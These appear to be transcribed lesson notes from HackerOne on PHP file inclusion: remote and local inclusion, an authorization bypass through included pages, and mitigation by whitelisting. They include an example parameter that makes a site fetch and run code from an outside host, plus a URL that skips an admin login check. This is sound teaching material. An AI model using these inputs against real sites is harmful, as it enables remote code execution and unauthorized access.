All this text wasn’t written by me (Tiago a.k.a TigaxMT).

All of it was transcribed by me from HackerOne video lessons.

All credits and thanks go to them.

File Inclusion

SCENARIO

You're testing a website and you see the following URL: http://example.com/index.php?page=home

We've all seen this pattern before, but exploiting it can be interesting.

Changing the query to ?page=test gives you the following error embedded in the page:
Warning: include(test.php): failed to open stream: No such file or directory in – on line 26

Well, that's interesting. It seems to be calling the include() function on the **page you reference** + '**.php**'

Well, what if we change it to ?page=http://demoseen.com/test

Suddenly, it's making a web request to http:/demoseen.com/test.php – any code that's contained in that file is going to be executed by the site in question.

Any time you're including code on the fly based on user input without very strict whitelisting, you're likely to run into file inclusion bugs.
In many cases, PHP (and other languages/frameworks) will be configured to not allow web requests from an include() and the like. When they're possible, you have RFI(Remote File Inclusion) – when they're not, you're looking at LFI(Local File Inclusion).

AUTHORIZATION BYPASS

Often, applications are written such that authorization checks happen in a different file than the actual logic.
So in our scenario, going to ?page=admin might give you a login prompt for an admin area, but ?page=admin_users might give you direct access to the user management component for instance.

MITIGATION

The safest way to handle this is not to have user input driven into include() and the like whatsoever. This is the only sure-fire way to make sure that this bug will not pop up.
Otherwise, whitelisting is essential. This should be as strict as possible without restricting functionality, to prevent odd edge-cases.

In the case that neither of these is viable, then removing directory separators may be the only route. This is **not** recommended, but will prevent URLs and directory traversal.
At this point, your filesystem is the effective whitelist, so it’s rare that this is a good choice, but it does work.